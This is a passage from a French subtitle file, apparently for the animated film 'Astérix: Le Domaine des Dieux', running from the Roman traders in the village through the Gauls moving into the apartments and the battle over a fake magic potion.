CINQ!?!? + +392 +00:31:22,847 --> 00:31:26,484 +Ah oh non, non, c'est euhh un. + +393 +00:31:26,484 --> 00:31:29,384 +C'est peut-être parce +qu'on a la mer à côté. + +394 +00:31:29,563 --> 00:31:31,184 +Et à Rome, on a pas la mer à côté. + +395 +00:31:31,184 --> 00:31:33,330 +À Rome, on a la mer, mais elle est sale. + +396 +00:31:33,330 --> 00:31:33,981 +J'en prends trois. + +397 +00:31:42,337 --> 00:31:43,076 +T'es fier de toi? + +398 +00:31:43,246 --> 00:31:45,445 +Quoi? J'aurais dû refuser +de vendre à des Romains? + +399 +00:31:46,903 --> 00:31:51,210 +Tu te rends compte que tu vendrais +ton macro à 5 sesterces si t'étais à Rome? + +400 +00:31:59,400 --> 00:32:01,264 +Dossier incomplet. Suivant! + +401 +00:32:08,178 --> 00:32:10,777 +Alors, qu'est-ce qui se passe? +- Je ne sais pas, on voit rien! + +402 +00:32:10,981 --> 00:32:13,989 +Vous savez ce qui se passe? +- Non, on voit rien! + +403 +00:32:16,254 --> 00:32:18,873 +Bon ben, on va essayer +de dormir, quand même! + +404 +00:32:18,873 --> 00:32:20,698 +De toute façon, ça pourra +jamais être pire qu'à Rome! + +405 +00:32:22,217 --> 00:32:24,750 +Et là, il y a la pluie qui rafraichit! + +406 +00:32:26,528 --> 00:32:27,528 +Avé. +- Salut. + +407 +00:32:31,734 --> 00:32:35,462 +Spécial Domaine des Dieux: 4 sesterces +le macro! 4! Moins cher qu'à Rome! + +408 +00:32:35,760 --> 00:32:38,026 +Oh! Ce bouclier a l'air ravissant! + +409 +00:32:39,333 --> 00:32:41,847 +Ahhh, faites attention: c'est +pas celui de tout le monde. + +410 +00:32:42,420 --> 00:32:46,237 +Il s'agit d'un véritable bouclier ayant +appartenu à Vercingétorix en personne. + +411 +00:32:47,118 --> 00:32:50,231 +Tu fabriques ça chaque semaine et +tu le vends comme s'il appartenait à lui! + +412 +00:32:50,231 --> 00:32:53,127 +Bah ton poisson commence à se momifier, là! + +413 +00:32:55,378 --> 00:32:56,438 +Dossier incomplet. + +414 +00:32:57,519 --> 00:32:58,519 +Sui-vant. + +415 +00:33:06,504 --> 00:33:09,717 +Vous savez ce qui se passe, vous? +- Mais non, on voit rien! + +416 +00:33:10,652 --> 00:33:12,927 +Bon ben, on va essayer +de dormir quand même! + +417 +00:33:12,927 --> 00:33:15,514 +De toute façon, ça pourra +jamais être pire qu'à Rome! + +418 +00:33:16,276 --> 00:33:18,810 +Et là, il y a la pluie qui rafraichit! + +419 +00:33:20,128 --> 00:33:21,128 +Avé. +- Salut. + +420 +00:33:26,784 --> 00:33:27,567 +Vous le faites pour combien? + +421 +00:33:28,341 --> 00:33:29,999 +Spécial Domaine des Dieux: 40 sesterces. + +422 +00:33:30,723 --> 00:33:32,613 +C'EST CE QU'ON VA VOIR +AVEC LE FAUX VERCINGÉTORIX + +423 +00:33:32,613 --> 00:33:34,482 +IL VAUDRAIT LE TRIPLE, ANDOUILLE + +424 +00:33:34,482 --> 00:33:36,683 +PARCE QUE, PREMIÈREMENT: +JE FAIS CE QUE JE VEUX + +425 +00:33:36,683 --> 00:33:39,378 +ET DEUXIÈMENT, C'EST QUOI LE TRIPLE DE 40? + +426 +00:33:39,483 --> 00:33:42,004 +Ça fait 120 sesterces, +et à ce prix-là, j'achète! + +427 +00:33:43,579 --> 00:33:44,364 +ÇA, C'EST TROP FORT! + +428 +00:33:44,572 --> 00:33:47,346 +T'A QU'A DIRE QUE TON POISSON +VIENT DE VERCINGÉTORIX! + +429 +00:33:49,881 --> 00:33:56,479 +[ ils se bagarrent ] + +430 +00:34:03,933 --> 00:34:06,067 +On l'a eu, on l'a eu, on l'a eu! + +431 +00:34:09,531 --> 00:34:10,531 +On l'a eu! + +432 +00:34:19,985 --> 00:34:28,246 +Bonjour, bonjour, bonjour. + +433 +00:34:28,246 --> 00:34:31,113 +Impressionant! Alors, *très* impressionant. + +434 +00:34:31,507 --> 00:34:33,187 +Tout ça dans les temps... + +435 +00:34:40,447 --> 00:34:42,860 +Centurion? +- Nonononon, plus tard. + +436 +00:34:43,300 --> 00:34:44,961 +Oui mais on ne sera pas là plus tard... + +437 +00:34:44,961 --> 00:34:45,598 +Qu'est-ce qui se passe? + +438 +00:34:47,063 --> 00:34:49,469 +J'avais promis de les affranchir, +mais j'avais pas l'autorité. + +439 +00:34:49,665 --> 00:34:51,518 +Tu les as promis de les affranchir? + +440 +00:34:51,518 --> 00:34:54,328 +ET IL LES A PAYÉES! ET IL LEUR A CÉDÉ +UN LOGEMENT DANS LE DOMAINE DES DIEUX + +441 +00:34:54,328 --> 00:34:55,232 +À CHACUN! +- Quoi? + +442 +00:34:55,926 --> 00:34:57,574 +Ah ben, sans ça, on se battait! + +443 +00:34:58,776 --> 00:35:00,136 +Laisse moi faire. + +444 +00:35:03,744 --> 00:35:04,744 +Esclaves! + +445 +00:35:05,254 --> 00:35:08,632 +Par les pouvoirs qui me sont +conférées par César et tout ça... + +446 +00:35:11,326 --> 00:35:13,006 +Hop! Je vous affranchis. + +447 +00:35:13,747 --> 00:35:15,057 +Alors nous sommes libres? +- Voilà. + +448 +00:35:15,057 --> 00:35:18,086 +Ahhh! Ah beh je peux +vous dire que ça fait plaisir. + +449 +00:35:19,627 --> 00:35:22,802 +Vous n'oublirez pas de rendre +les clés de vos logements. + +450 +00:35:23,711 --> 00:35:25,994 +Nous avions cru qu'on avait +un logement attribué à chacun... + +451 +00:35:26,195 --> 00:35:30,362 +Quand vous étiez esclaves! Parce +que maintenant, il faut payer 15 + +452 +00:35:30,523 --> 00:35:33,467 +sesterces de loyer par semaine. +- 15 sesterces? + +453 +00:35:34,400 --> 00:35:35,387 +MAIS! Bonne nouvelle: + +454 +00:35:35,694 --> 00:35:39,004 +Nous avons justement des postes d'ouvriers +du bâtiment qui viennent de se libérer! + +455 +00:35:39,004 --> 00:35:41,071 +Le salaire est donc de... +15 sesterces par semaine. + +456 +00:35:41,413 --> 00:35:44,336 +Vous acceptez? +- Ma foi... c'est une proposition-- + +457 +00:35:44,336 --> 00:35:46,070 +Parfait! Vous êtes engagé. + +458 +00:35:46,293 --> 00:35:49,237 +Anglégus, vos ouvriers +ne sont pas au travail. + +459 +00:35:50,394 --> 00:35:53,141 +DU NERF, BANDES DE FAINÉANTS!! +QU'EST-CE QUE VOUS FAITES À VOUS PRÉLASSER + +460 +00:35:53,141 --> 00:35:55,071 +VOUS CROYEZ QU'ON VOUS +PAYE À QUOI AU JUSTE!? ALLEZ HOP! + +461 +00:35:55,071 --> 00:35:56,152 +DIRECTION CHANTIER!!!! + +462 +00:35:58,407 --> 00:36:00,140 +Mais c'est de l'esclavage! + +463 +00:36:02,330 --> 00:36:05,063 +Ça, il faut admettre, vous êtes efficace. + +464 +00:36:06,360 --> 00:36:07,720 +Je suis sénateur. + +465 +00:36:10,112 --> 00:36:13,053 +ELLES SONT NEUVES, LES +ANTIQUITÉS, ELLES SONT NEUVES! + +466 +00:36:13,393 --> 00:36:16,337 +LES VIEILLERIES: +ADRESSEZ-VOUS AU SPÉCIALISTE! + +467 +00:36:16,893 --> 00:36:19,013 +DE PÈRE EN FILS DEPUIS VERCINGÉTORIX! + +468 +00:36:19,013 --> 00:36:20,858 +7 SESTERCES LE MACRO, 7 SESTERCES + +469 +00:36:20,858 --> 00:36:23,715 +6 SESTERCES 99 LE MACRO! 6 SESTERCES 99! + +470 +00:36:31,371 --> 00:36:33,429 +Mais je vous dis que ce +bouclier n'est pas à vendre! + +471 +00:36:34,221 --> 00:36:37,991 +Même pour 450 sesterces? +- C'est pour offrir? J'vous l'emballe. + +472 +00:36:45,474 --> 00:36:46,597 +Tu nous donneras 2 poissons, s'il-te-plait. + +473 +00:36:46,809 --> 00:36:48,489 +Vous mangez du poisson? + +474 +00:36:48,542 --> 00:36:52,572 +On y est obligé, il n'y a plus de +sanglier dans la forêt maintenant. + +475 +00:36:53,885 --> 00:36:56,399 +Ça fera 14 sesterces. +- QUOI!? C'est une blague. + +476 +00:36:56,632 --> 00:37:01,646 +Pourquoi pas monter le prix? On +est même un peu plus cher qu'à Rome! + +477 +00:37:01,646 --> 00:37:03,805 +C'est du vol!! Baisse +ton prix immédiatement. + +478 +00:37:04,114 --> 00:37:05,401 +C'est mon prix! Pourquoi faire? + +479 +00:37:05,550 --> 00:37:08,736 +Même avec 7 sesterces, +mon poisson se vend bien. + +480 +00:37:10,094 --> 00:37:11,294 +J'en prends un. + +481 +00:37:11,897 --> 00:37:13,764 +Un macro pour deux? +- Eh oui. + +482 +00:37:20,141 --> 00:37:23,332 +Et le poisson, on le laisse? Parce +qu'on a vraiment rien à manger! + +483 +00:37:35,417 --> 00:37:37,943 +Monsieur Astérix nous +empêche de taper les civils... + +484 +00:37:37,943 --> 00:37:40,426 +Et quand on les acceuillent chez +nous, ils veut qu'on les renvoient. + +485 +00:37:40,426 --> 00:37:42,863 +Vous êtes ridicules avec +vos macros à 7 sesterces! + +486 +00:37:43,325 --> 00:37:44,934 +Il faut que vous arrétiez +ce cirque immédiatement! + +487 +00:37:45,239 --> 00:37:46,554 +Et que vous nous aidiez! + +488 +00:37:46,705 --> 00:37:49,775 +Vous aider à quoi exactement? +- À faire en sorte que les Romains... + +489 +00:37:49,775 --> 00:37:52,915 +...rentrent chez eux pour qu'on +puisse raser le Domaine des Dieux! + +490 +00:37:54,663 --> 00:37:55,703 +Parfaitement. + +491 +00:37:58,524 --> 00:37:59,964 +...et les clients? + +492 +00:38:01,885 --> 00:38:04,992 +Astérix, je ne vois pas pourquoi il ne +faut pas à faire fructifier son commerce! + +493 +00:38:05,139 --> 00:38:08,432 +Le mal, c'est que vous êtes +devenus le bande d'imbéciles cupides. + +494 +00:38:08,432 --> 00:38:11,415 +C'est faux! On était déjà des +imbéciles bien avant les Romains... + +495 +00:38:11,415 --> 00:38:14,351 +Exact! Et on ne risque pas d'être +cupide, on ne sais pas ce que ça veut dire! + +496 +00:38:16,337 --> 00:38:19,494 +Bon. Ne vous inquiétez pas. Je +ne vous poserai aucun problème. + +497 +00:38:20,635 --> 00:38:22,835 +Je déménage au Domaine des Dieux. + +498 +00:38:23,724 --> 00:38:26,001 +Moi aussi. (x2) + +499 +00:38:26,001 --> 00:38:29,604 +Je ne resterai pas une seconde dans +un village que je ne recconais plus. + +500 +00:38:36,319 --> 00:38:39,889 +Je sais que j'abuse, mais est-ce que ce +n'est pas le moment pour un chant d'adieu? + +501 +00:38:45,087 --> 00:38:47,124 +PUISQUE C'EST COMME ÇA, MOI +AUSSI JE PARS AU DOMAINE DES DIEUX. + +502 +00:38:47,124 --> 00:38:50,493 +Peut-être que les Romains savent acceuillir +un artiste. Et je peux vous dire-- + +503 +00:38:50,493 --> 00:38:52,656 +Assurancetourix, si tu +veux partir, c'est maintenant. + +504 +00:38:53,793 --> 00:38:55,393 +BREF! JE SUIS OUTRÉ! + +505 +00:39:11,869 --> 00:39:13,077 +Romains, nous voulons un logement. + +506 +00:39:13,077 --> 00:39:15,997 +Un logement? Vraiment?? + +507 +00:39:16,142 --> 00:39:18,517 +Nous voudrons juste un logement. + +508 +00:39:18,517 --> 00:39:20,661 +Mais voyons, je-- s-- c'est impossible-- + +509 +00:39:20,661 --> 00:39:26,746 +Bonjour bonjour!! Bonjour. +Soyez les bienvenues. + +510 +00:39:26,746 --> 00:39:29,012 +Nous allons vous faire un plaisir! +- Quoi!? + +511 +00:39:32,157 --> 00:39:34,862 +Anglégus, tu est plus +bête que tu en a l'air. + +512 +00:39:34,862 --> 00:39:38,254 +Mais enfin, on ne vas pas +acceuillir des Gaulois ici! + +513 +00:39:40,316 --> 00:39:43,761 +Que va dire César si il apprend que les +Gaulois veulent vivre commes les Romains? + +514 +00:39:43,761 --> 00:39:47,024 +Que va dire César s'il voit que +les fous désertent leur village? + +515 +00:39:47,513 --> 00:39:52,184 +Que va dire César s'il réalise que son +plan se déroule 1000x mieux que prévu!? + +516 +00:39:52,184 --> 00:39:54,187 +Mais j'ai pas de logement de libre! + +517 +00:39:54,617 --> 00:39:55,377 +Fais de la place. + +518 +00:39:55,648 --> 00:39:58,315 +Aucun problème!! On va vous arranger ça. + +519 +00:40:03,773 --> 00:40:05,840 +Enfin...on est enfin chez nous. + +520 +00:40:08,949 --> 00:40:09,949 +Entrez! + +521 +00:40:22,883 --> 00:40:25,083 +Qu'est-ce qu'on fait, maintenant? +- Tu as une idée, Astérix? + +522 +00:40:25,849 --> 00:40:26,849 +Il me faut la nuit pour réviser. + +523 +00:40:30,129 --> 00:40:32,462 +Cette maison ressemble à une boite. + +524 +00:40:33,262 --> 00:40:35,195 +C'est un appartement, Obélix. + +525 +00:40:35,562 --> 00:40:39,967 +Si on savait quelle boite Apeljus et ses +parents sont, on pourrait leur dire bonjour + +526 +00:40:50,904 --> 00:40:54,687 +Magnifique...Magnifique! + +527 +00:40:55,367 --> 00:40:57,047 +Le poison fait son effet. + +528 +00:40:58,553 --> 00:41:01,849 +Il faut frapper! Faites savoir en +Armorique que les habitants du village + +529 +00:41:01,849 --> 00:41:06,339 +rebelles ont tous droit à un +logement au Domaine des Dieux. + +530 +00:41:07,163 --> 00:41:08,603 +Gratuit, et à vie! + +531 +00:41:36,238 --> 00:41:43,545 +Un magnifique logement gratuit attend +chaque famille du village au Domaine des... + +532 +00:41:43,545 --> 00:41:44,545 +DIEUX!?!? + +533 +00:41:45,127 --> 00:41:46,234 +Un logement gratuit!? + +534 +00:41:46,234 --> 00:41:50,292 +Moi, si ça me permet de plus voir vos têtes +j'y vais pas plus tard que maintenant! + +535 +00:41:52,228 --> 00:41:54,663 +Je peux dire qu'un peu de +civilisation, ça me ferai des vacances. + +536 +00:41:54,663 --> 00:41:56,699 +Parce qu'avec vos +poissons et ces choses-là... + +537 +00:41:56,699 --> 00:41:59,815 +Mais, je suis chef du village, mimine. +On peut pas aller au Domaine des Dieux! + +538 +00:41:59,815 --> 00:42:02,082 +J'ai pas dit que j'irais avec toi! + +539 +00:42:04,232 --> 00:42:14,799 +[ ils commencent à se disputer. ] + +540 +00:42:14,799 --> 00:42:22,003 +[ ils se disputent. ] + +541 +00:42:32,051 --> 00:42:34,375 +Je fais quoi, là? J'y vais? +- Oui! + +542 +00:42:34,375 --> 00:42:37,158 +Vas y! +- Vous êtes sûr qu'il faudrais pas que je + +543 +00:42:37,158 --> 00:42:38,592 +commence avec une petite chanson légère? + +544 +00:42:38,592 --> 00:42:40,528 +Hein, comme intro? +- Non, non non. + +545 +00:42:40,528 --> 00:42:43,785 +Attaque directement, avec +quelque chose de puissant. + +546 +00:42:43,785 --> 00:42:47,625 +C'est un nouveau public, il +faut que tu marques les esprits! + +547 +00:42:49,233 --> 00:42:50,593 +Va pour puissant. + +548 +00:42:56,440 --> 00:43:33,162 +[ chant horrible, cris ] + +549 +00:43:44,295 --> 00:43:47,695 +Après délibération, nous avons décidé +d'emménager au Domaine des Dieux + +550 +00:43:47,919 --> 00:43:50,178 +Afin de nous rapprocher de +votre clientelle bien-aimée. + +551 +00:43:50,178 --> 00:43:53,638 +À ce titre, nous commençons par décourager +toute tentative de chant de bienvenue. + +552 +00:43:53,782 --> 00:43:58,847 +Précisions que les macros +seront toujours à 7 sesterces! + +553 +00:43:59,976 --> 00:44:00,976 +On y va! + +554 +00:44:05,563 --> 00:44:07,363 +Ils sont fous, ces Gaulois. + +555 +00:44:07,815 --> 00:44:09,139 +J'ai l'impression que ça c'est calmé. + +556 +00:44:27,522 --> 00:44:29,202 +Obélix? +- T'es là, toi? + +557 +00:44:34,904 --> 00:44:37,976 +On ne savais pas où aller. +- Vous avez bien fait. + +558 +00:44:59,528 --> 00:45:02,128 +[ ceci est ma partie favorite du film ] + +559 +00:47:09,634 --> 00:47:10,634 +J'ai faim. + +560 +00:47:15,732 --> 00:47:21,855 +[ rire maléfique ] + +561 +00:47:24,349 --> 00:47:25,394 +Qu'est-ce que je disais? + +562 +00:47:25,950 --> 00:47:26,744 +À quel moment? + +563 +00:47:26,744 --> 00:47:28,073 +Là, maintenant. + +564 +00:47:28,073 --> 00:47:30,687 +Vous étiez en train de +faire un rire diabolique. + +565 +00:47:30,687 --> 00:47:31,618 +Maléfique, même. + +566 +00:47:31,618 --> 00:47:32,618 +Non, avant! + +567 +00:47:36,679 --> 00:47:38,359 +Vous disiez pas "Enfin"? + +568 +00:47:38,921 --> 00:47:41,410 +Enfin, je les tiens, ces irréductibles. + +569 +00:47:41,410 --> 00:47:44,692 +Après toutes ces années d'humiliation, +il n'aura fallu que quatre immeubles + +570 +00:47:44,692 --> 00:47:48,352 +pour les avoir. +- Magnifique, Ô César. + +571 +00:47:48,352 --> 00:47:50,966 +Notre victoire sur la Gaule est totale!! +- Non. + +572 +00:47:50,966 --> 00:47:55,782 +Elle ne sera totale, que lorsque qu'il +ne restera plus une partie de leur village. + +573 +00:47:56,033 --> 00:47:57,033 +AÏE!! + +574 +00:47:59,753 --> 00:48:01,433 +Modification des plans. + +575 +00:48:02,302 --> 00:48:03,982 +On a un village à raser. + +576 +00:48:05,410 --> 00:48:06,850 +[ rire maléfique ] + +577 +00:48:08,684 --> 00:48:09,574 +C'est diabolique, ça... + +578 +00:48:09,574 --> 00:48:10,934 +Non. Maléfique... + +579 +00:48:18,343 --> 00:48:19,343 +Par là! + +580 +00:48:23,399 --> 00:48:24,399 +On a vu un? +- Non. + +581 +00:48:24,516 --> 00:48:26,663 +Alors pourquoi tu tournes? +- Pour changer de coin! + +582 +00:48:26,833 --> 00:48:28,253 +Là-bas, il y avait rien. + +583 +00:48:28,253 --> 00:48:29,253 +Par là! + +584 +00:48:38,174 --> 00:48:41,173 +Non. Toujours pas de sanglier. + +585 +00:48:41,173 --> 00:48:43,573 +Ils sont partis à cause des travaux. + +586 +00:49:02,951 --> 00:49:03,951 +Bah alors? + +587 +00:49:05,043 --> 00:49:06,723 +Je suis trop fatigué. + +588 +00:49:07,098 --> 00:49:08,618 +Je vais me reposer. + +589 +00:49:10,626 --> 00:49:12,171 +C'est parce que t'as faim. +- Tu crois? + +590 +00:49:12,171 --> 00:49:14,420 +Ca arrive quand tu ne manges +pas pendant longtemps? + +591 +00:49:14,420 --> 00:49:15,540 +Je sais pas... + +592 +00:49:18,261 --> 00:49:21,781 +T'inquiète pas. Je vais +chercher un sanglier tout seul. + +593 +00:49:22,974 --> 00:49:24,654 +Tu vas pas trop loin? + +594 +00:49:36,226 --> 00:49:37,226 +Idéfix! + +595 +00:49:39,883 --> 00:49:40,883 +Oh! + +596 +00:49:47,153 --> 00:49:48,273 +CHAAAARGEEEEEZ + +597 +00:49:52,693 --> 00:49:54,223 +Eh ben, qu'est-ce que vous fichez? + +598 +00:49:55,096 --> 00:49:58,168 +On fiche pour avoir voté la grève générale! + +599 +00:50:00,633 --> 00:50:03,221 +Nous estimons que cet assaut +est potentiellement dangereux! + +600 +00:50:03,540 --> 00:50:06,061 +C'est bon! C'est un assaut, on +rase un village, c'est pas dangereux! + +601 +00:50:12,528 --> 00:50:18,183 +Le vieux druide doit être neutralisé pour +que les Gaulois n'ont plus de potion! + +602 +00:50:37,840 --> 00:50:38,969 +Les soldats, ils veulent... + +603 +00:50:38,969 --> 00:50:41,375 +...détruire le village, oui. J'ai entendu. + +604 +00:50:42,915 --> 00:50:44,435 +*raser* le village. + +605 +00:50:44,546 --> 00:50:47,746 +La façon exacte de le +dire est *raser* le village. + +606 +00:50:48,094 --> 00:50:49,614 +EMPAREZ-VOUS D'EUX! + +607 +00:50:49,703 --> 00:50:52,319 +Centurion, on a pas réglé nos affaires! + +608 +00:50:52,448 --> 00:50:56,019 +Il est là, votre druide, vous en parlez, +et boum! Directement sur votre pif! + +609 +00:50:56,019 --> 00:50:56,806 +Qu'est-ce qu'il vous faut de plus? + +610 +00:50:56,806 --> 00:51:00,134 +- On a pas réglé la question +des logements gratuits! + +611 +00:51:04,353 --> 00:51:06,086 +ARRÊTEZ-LES PAR JUPITER!!! + +612 +00:51:13,628 --> 00:51:21,146 +Ô, Ô... Ô César, aucun batiment ne +se dressera assez haut, assez haaaut! + +613 +00:51:27,171 --> 00:51:30,448 +Tous les logements sont occupées. +On est obligé de le metre autrepart. + +614 +00:51:30,448 --> 00:51:32,913 +C'est pas une raison de mettre +une prison dans le hall d'acceuil! + +615 +00:51:32,913 --> 00:51:37,393 +Si on le mets pas à l'intérieur, +les autres Gaulois vont l'apercevoir. + +616 +00:51:39,811 --> 00:51:42,737 +Un hall d'acceuil, une cage, en +même temps, ça ressemble à quoi? + +617 +00:51:58,873 --> 00:52:01,979 +Ne t'inquiète pas. Quelqu'un +va nous porter secours. + +618 +00:52:01,979 --> 00:52:04,952 +Je sais qu'Obélix va faire tout casser. + +619 +00:52:04,952 --> 00:52:07,960 +Il faut trouver un moyen +de prévenir quelqu'un. + +620 +00:52:16,388 --> 00:52:18,188 +Hé, là-haut! Pas de chahut! + +621 +00:52:22,145 --> 00:52:23,145 +Hercule. + +622 +00:52:32,769 --> 00:52:35,646 +Tu es plus malin que je l'ai pensé. + +623 +00:52:45,267 --> 00:52:50,323 +Mais je pourrai pas attribuer un logement +à tout le monde au Domaine des Dieux! + +624 +00:53:09,979 --> 00:53:10,979 +Apeljus? + +625 +00:53:24,743 --> 00:53:25,743 +Panoramix? + +626 +00:53:31,907 --> 00:53:33,528 +Il a dû lui arriver +quelque chose à Apeljus. + +627 +00:53:33,528 --> 00:53:35,208 +Apeljus ne risque +rien, il est avec Obélix-- + +628 +00:53:38,740 --> 00:53:40,420 +Vous êtes avec Apeljus? + +629 +00:53:41,493 --> 00:53:43,360 +Il faut remonter la rivière! + +630 +00:54:12,446 --> 00:54:17,758 +Je n'ai jamais vu une légion habiter dans +un immeuble deluxe, avec femme et enfant. + +631 +00:54:21,389 --> 00:54:22,346 +...et le gros Centurion? + +632 +00:54:23,137 --> 00:54:24,227 +Quel gros Centurion? + +633 +00:54:24,227 --> 00:54:26,056 +Non. Et le GROS Centurion! + +634 +00:54:26,056 --> 00:54:27,831 +Mais de quel gros vous parlez? + +635 +00:54:27,831 --> 00:54:30,435 +Le gros Gaulois avec la force +surhumaine qui n'a pas besoin de potion! + +636 +00:54:30,435 --> 00:54:31,875 +Il cours toujours! + +637 +00:54:44,370 --> 00:54:45,890 +J ' a i f a i m ! + +638 +00:54:52,879 --> 00:54:54,746 +Arrête, tu vas le réveiller! + +639 +00:55:02,478 --> 00:55:05,435 +À chaque fois que vous avez un +prisionner, vous me l'amenez dans l'hall! + +640 +00:55:12,926 --> 00:55:14,338 +Ils ont eu Obélix! + +641 +00:55:14,338 --> 00:55:16,569 +Vous m'avez déjà dit ça pour +les deux à coté de la mosaïque! + +642 +00:55:16,569 --> 00:55:18,528 +Chut! +- La mosaïque qui a un défaut! + +643 +00:55:18,528 --> 00:55:19,808 +Chut! +- La ferme! + +644 +00:55:20,310 --> 00:55:23,638 +SILENCE! Il faut qu'on le +mette dans un endroit sûr. + +645 +00:56:24,809 --> 00:56:28,594 +Je comprends pas! On a suivi +la rivière et on l'a pas trouvé! + +646 +00:56:28,594 --> 00:56:30,594 +On a dû manquer quelque chose. + +647 +00:56:47,044 --> 00:56:50,847 +J'espère que ceci n'est pas pour rien. + +648 +00:56:53,566 --> 00:56:55,788 +S'il vous plait! On se +regroupe autour de moi! + +649 +00:57:01,562 --> 00:57:07,884 +Nous avons la chance de vous +montrer un événement ra-ri-ssime! + +650 +00:57:28,297 --> 00:57:33,260 +CHAAAAAARGEEEEZ S'IL-VOUS-PLAIIIITT + +651 +00:57:39,918 --> 00:57:42,185 +AYEZ LA GENTILLESSE DE TIREEEEEEER + +652 +00:57:56,336 --> 00:57:57,336 +Ah! + +653 +00:57:59,368 --> 00:58:01,302 +Mais fais quelque chose, toi! + +654 +00:58:01,742 --> 00:58:02,862 +Je fais quoi!? + +655 +00:58:04,608 --> 00:58:05,888 +Quel Centurion!? + +656 +00:58:22,592 --> 00:58:26,444 +[ il fait semblant de boire la potion. ] + +657 +00:58:30,373 --> 00:58:46,832 +[ il fait semblant de faire les +effets de la potion magique. ] + +658 +00:58:50,525 --> 00:58:52,792 +SOYEZ GENTILS D'ATTAQUER CE MINUS! + +659 +00:58:53,996 --> 00:58:55,399 +Quoi? J'ai dit "Soyez gentils"! + +660 +00:58:55,399 --> 00:58:58,214 +Si il a la potion magique, pas de combat! + +661 +00:58:58,214 --> 00:59:01,798 +C'est pour ça qu'on a enfermé le +druide dans le Domaine des Dieux! + +662 +00:59:01,936 --> 00:59:03,846 +Le druide? Quel druide? +- Le notre? + +663 +00:59:03,846 --> 00:59:04,874 +Et le gros aussi! + +664 +00:59:04,874 --> 00:59:06,874 +Le gros? Quel gros? +- Le notre? + +665 +00:59:07,476 --> 00:59:09,476 +Il vient de le boir, le petit. + +666 +00:59:13,092 --> 00:59:14,772 +Du faux? dans une gourde? + +667 +00:59:19,809 --> 00:59:21,876 +Bon. J'ai compris, je descends. + +668 +00:59:38,395 --> 00:59:41,289 +Alors, comme ça, on a une force surhumaine? +- Tu veux une baffe? + +669 +00:59:44,156 --> 00:59:45,156 +Fais-le. + +670 +00:59:47,984 --> 00:59:51,568 +Mes premières baffes sont +d'abord résérvées aux Romains. + +671 +00:59:51,961 --> 00:59:53,641 +Ceux-là en particulier. + +672 +00:59:55,011 --> 00:59:57,467 +Vous êtes fier de vous, +et vos habits ridicules? + +673 +00:59:57,467 --> 00:59:59,534 +"Civils Romains", quand même... + +674 +00:59:59,692 --> 01:00:03,592 +Toi, Abraracourcix, notre chef, je +vais t'apprendre à déserter ton village. + +675 +01:00:03,592 --> 01:00:04,247 +De quoi? + +676 +01:00:04,820 --> 01:00:06,908 +Je vais t'apprendre à déserter ton village. + +677 +01:00:07,222 --> 01:00:08,189 +J'ai compris mais-- + +678 +01:00:08,189 --> 01:00:12,770 +En te donnant une baffe dont la puissance +est conférée par la potion magique. + +679 +01:00:14,609 --> 01:00:16,876 +Que je viens de boire à l'instant. + +680 +01:00:18,931 --> 01:00:23,270 +Es-tu prêt à prendre une baffe qui +va t'envoyer à l'autre bout de la forêt. + +681 +01:00:38,193 --> 01:00:40,259 +Par Toutatis, quelle puissance! + +682 +01:00:42,419 --> 01:00:44,619 +Voilà pour ton poisson pas frais! + +683 +01:00:50,234 --> 01:00:51,966 +Par Bénos! Quelle décullotée! + +684 +01:00:51,966 --> 01:00:53,833 +Et voilà pour tes Antiquités! + +685 +01:00:55,157 --> 01:00:56,157 +Oooohh, l'Armorique, + +686 +01:00:56,158 --> 01:01:04,604 +[je ne peux pas comprendre ce qu'il disait] + +687 +01:01:10,379 --> 01:01:12,712 +Donc il a la potion magique ou pas? + +688 +01:01:13,183 --> 01:01:16,255 +Ils l'ont, ils l'ont pas... +je suis déstabilisé. + +689 +01:01:16,262 --> 01:01:18,929 +Il faut absolument que je +libère Obélix et Panoramix. + +690 +01:01:18,929 --> 01:01:20,449 +Occupe les Romains. + +691 +01:01:20,900 --> 01:01:23,800 +Astérix, si tu savais, +j'ai tellement honte! + +692 +01:01:24,221 --> 01:01:25,901 +On verra ça plus tard. + +693 +01:01:30,559 --> 01:01:33,652 +Les amis! Notre cher village est +menacé! C'est le moment ou jamais + +694 +01:01:33,652 --> 01:01:37,748 +de boire une généreuse portion +de nos fameuses potions magiques! + +695 +01:01:42,268 --> 01:01:44,474 +[ils font semblant des effets de la +potion magique comme des idiots] + +696 +01:01:44,474 --> 01:01:50,377 +Centurion, en terme militaire on fais quoi? +- Je sais pas, je suis déstabilisé. + +697 +01:02:08,934 --> 01:02:11,235 +Apeljus est dans ce +bâtiment mais tout est fermé. + +698 +01:02:11,235 --> 01:02:12,969 +Pourquoi dans ce batiment? + +699 +01:02:14,573 --> 01:02:16,573 +Ouvrez ou j'enfonce la porte!! + +700 +01:02:16,893 --> 01:02:17,893 +Papa! + +701 +01:02:23,217 --> 01:02:24,217 +Panoramix! + +702 +01:02:24,944 --> 01:02:26,744 +Ils sont combien là-dedans? + +703 +01:03:06,291 --> 01:03:08,091 +GARDE! SAISSISEZ-VOUS DEUX! + +704 +01:03:10,104 --> 01:03:11,784 +Libérez les prisonniers-- + +705 +01:03:41,752 --> 01:03:44,759 +Quand je vous dis que +votre mosaïque a un défaut... + +706 +01:03:45,795 --> 01:03:47,235 +C'est qu'elle a... + +707 +01:03:48,103 --> 01:03:49,103 +...un... + +708 +01:03:50,568 --> 01:03:51,568 +...dé... + +709 +01:03:52,588 --> 01:03:53,588 +...faut! + +710 +01:04:08,814 --> 01:04:11,626 +Si la chouette hulule, c'est +que quelqu'un ne dort pas. + +711 +01:04:12,339 --> 01:04:15,669 +Celui qui parle pour ne rien +dire ferait mieux de se taire. + +712 +01:04:15,669 --> 01:04:16,882 +Et celle-là, tu l'as pas volée. + +713 +01:04:23,298 --> 01:04:24,978 +Qu'as-tu fait d'Obélix? + +714 +01:04:27,825 --> 01:04:31,766 +Nous n'avons pas le temps pour +Obélix! Il nous faut de la potion magique! + +715 +01:04:40,973 --> 01:04:43,773 +Hé! J'était fermé ici, vous m'avez oublié? + +716 +01:04:56,610 --> 01:05:00,130 +Ça fait une heure que vous +discutiez, vous faites quoi? + +717 +01:05:01,029 --> 01:05:04,325 +Admettons qu'on se replie. +Allez-vous nous poursuivre? + +718 +01:05:04,325 --> 01:05:06,005 +Il y a des chances, oui. + +719 +01:05:07,824 --> 01:05:10,656 +Qui est pour le repli? + +720 +01:05:10,656 --> 01:05:12,336 +Qui est pour le combat? + +721 +01:05:14,747 --> 01:05:15,747 +On replie. + +722 +01:05:28,974 --> 01:05:29,974 +On charge! + +723 +01:06:02,168 --> 01:06:05,368 +Ça, c'est bon. Pas besoin. +Ah oui, j'en ai besoin. + +724 +01:06:06,666 --> 01:06:07,866 +C'est 